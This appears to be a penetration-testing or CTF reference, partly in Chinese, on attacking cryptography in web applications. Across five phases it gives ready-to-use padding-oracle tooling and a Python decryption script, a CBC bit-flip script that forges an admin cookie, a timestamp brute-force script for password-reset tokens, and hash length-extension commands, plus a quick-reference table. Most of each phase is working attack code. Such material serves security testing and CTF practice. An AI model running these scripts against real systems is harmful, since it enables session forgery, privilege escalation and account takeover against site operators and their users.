Cryptographic attacks in web applications do not require breaking the algorithm itself, but rather exploitimplementation flaws—error message leakage, predictable random numbers, improper use of encryption modes.
⛔ In-depth reference (required reading)
- Padding Oracle/CBC Bit-flip detailed exploitation, weak random number scripts, hash length extension → references/crypto-techniques.md
Phase 1: Padding Oracle Attack
Identification: Returns different errors on decryption failure (200 vs 500 vs 302). Entry points: encrypted Cookies, encrypted URL parameters.
Key characteristics:
- Modify a certain byte of the ciphertext → returns 500 (padding error)
- Modify another byte of the ciphertext → returns 200 or 302 (padding correct but data wrong)
- Different responses = Oracle exists
PadBuster tool usage (preferred)
# 安装(Perl 脚本)
apt install padbuster
# 或
git clone https://github.com/AonCyberLabs/PadBuster.git
# 1. 解密已有密文
padbuster http://target/api ENCRYPTED_TOKEN 16 -encoding 0
# 参数说明:
# ENCRYPTED_TOKEN = 要解密的密文(hex 或 base64)
# 16 = block size(AES=16, DES=8)
# -encoding 0 = hex, 1 = lowercase hex, 2 = base64, 3 = URL-encoded base64, 4 = Web-safe base64
# 2. Cookie 中的 Padding Oracle
padbuster http://target/ COOKIE_VALUE 16 \
-cookies "session=COOKIE_VALUE" \
-encoding 2 # base64
# 3. 加密自定义明文(伪造 Cookie)
padbuster http://target/ COOKIE_VALUE 16 \
-cookies "session=COOKIE_VALUE" \
-encoding 2 \
-plaintext '{"user":"admin","role":"admin"}'
# 4. POST 请求中的 Padding Oracle
padbuster http://target/decrypt ENCRYPTED 16 \
-post "data=ENCRYPTED" \
-encoding 0
# 5. 指定 error pattern(非标准错误响应)
padbuster http://target/ TOKEN 16 \
-error "Invalid padding" \
-encoding 0
Python manual Padding Oracle (when PadBuster is unavailable)
#!/usr/bin/env python3
"""Padding Oracle 解密脚本"""
import requests
URL = "http://target/api"
BLOCK_SIZE = 16 # AES
def oracle(ciphertext_hex):
"""发送密文,判断 padding 是否正确"""
r = requests.get(f"{URL}?token={ciphertext_hex}")
# 根据实际情况调整判断条件
return r.status_code != 500 # 500=padding error, 200=padding OK
def decrypt_block(prev_block, curr_block):
"""解密单个 block"""
intermediate = bytearray(BLOCK_SIZE)
plaintext = bytearray(BLOCK_SIZE)
for pos in range(BLOCK_SIZE - 1, -1, -1):
padding_val = BLOCK_SIZE - pos
# 设置已知的 intermediate 值
test = bytearray(BLOCK_SIZE)
for k in range(pos + 1, BLOCK_SIZE):
test[k] = intermediate[k] ^ padding_val
for guess in range(256):
test[pos] = guess
test_hex = (bytes(test) + bytes(curr_block)).hex()
if oracle(test_hex):
intermediate[pos] = guess ^ padding_val
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
break
return bytes(plaintext)
# 使用:将密文按 BLOCK_SIZE 分块,逐块解密
→ Full principles and more scenarios → references/crypto-techniques.md
Phase 2: CBC Bit-Flip Attack
Modify the Nth ciphertext block byte → precisely flip the corresponding byte of the N+1th plaintext block.
Core formula:cipher[offset] ^= ord(原字符) ^ ord(目标字符)
Practical script
import base64
token = "BASE64_ENCRYPTED_COOKIE"
cipher = bytearray(base64.b64decode(token))
# 目标:将 "user" 翻转为 "admin" (假设在第二个 block)
# 修改第一个 block 的对应字节
offset = 0 # 根据实际明文位置计算
cipher[offset] ^= ord('u') ^ ord('a')
cipher[offset + 1] ^= ord('s') ^ ord('d')
cipher[offset + 2] ^= ord('e') ^ ord('m')
cipher[offset + 3] ^= ord('r') ^ ord('i')
# 注意:第一个 block 的明文会被破坏(变成垃圾),但第二个 block 被精确修改
new_token = base64.b64encode(cipher).decode()
print(f"Forged token: {new_token}")
Note: The plaintext corresponding to the modified block will become garbage. If the application checks the data of that block, the attack will fail.
→ Detailed exploitation → references/crypto-techniques.md
Phase 3: Weak random numbers / predictable Tokens
Identification: Is the password reset Token based on a timestamp? Is the Session ID incremental? Is the CSRF Token predictable?
Timestamp brute force
import hashlib, time, requests
target_email = "admin@target.com"
# 获取"重置密码"请求的时间戳附近
reset_time = int(time.time())
for ts in range(reset_time - 60, reset_time + 60):
token = hashlib.md5(f"{ts}{target_email}".encode()).hexdigest()
r = requests.get(f"http://target/reset?token={token}")
if r.status_code == 200 and 'expired' not in r.text:
print(f"[+] Valid token: {token} (timestamp: {ts})")
break
PHP mt_rand() prediction
# PHP 的 mt_rand() 可从输出推断种子
# 工具:php_mt_seed
php_mt_seed OUTPUT_VALUE
# 得到种子后预测后续输出
Phase 4: Hash length extension
Applicable conditions:
- The server uses
H(secret + message)signature (MD5/SHA1/SHA256) - You know
messageandH(secret + message) - You do not know
secret
HashPump usage
# 安装
apt install hashpump
# 或 pip install hashpumpy
# 使用
hashpump -s ORIGINAL_HASH -d 'original_data' -a '&admin=true' -k SECRET_LENGTH
# SECRET_LENGTH 需要暴力枚举(通常 8-32)
# Python 版
import hashpumpy
for key_len in range(8, 33):
new_hash, new_data = hashpumpy.hashpump(
original_hash, 'original_data', '&admin=true', key_len
)
# 用 new_hash 和 new_data 发送请求测试
Not applicable:HMAC、SHA-3、BLAKE2。
Phase 5: CTF quick reference table
| What you see | Direction | Tool |
|---|---|---|
| Encrypted Cookie + different errors | Padding Oracle | padbuster |
role=user encrypted Cookie |
CBC Bit-flip | Python XOR script |
| Password reset + short Token | Weak random numbers | Timestamp brute force script |
sign=md5hash |
Hash length extension | hashpump |
eyJ... Base64 JSON |
JWT | jwt cracking tool |
PHP mt_rand() |
Seed prediction | php_mt_seed |
| AES-ECB Cookie | ECB block reordering | Manual cut-and-paste |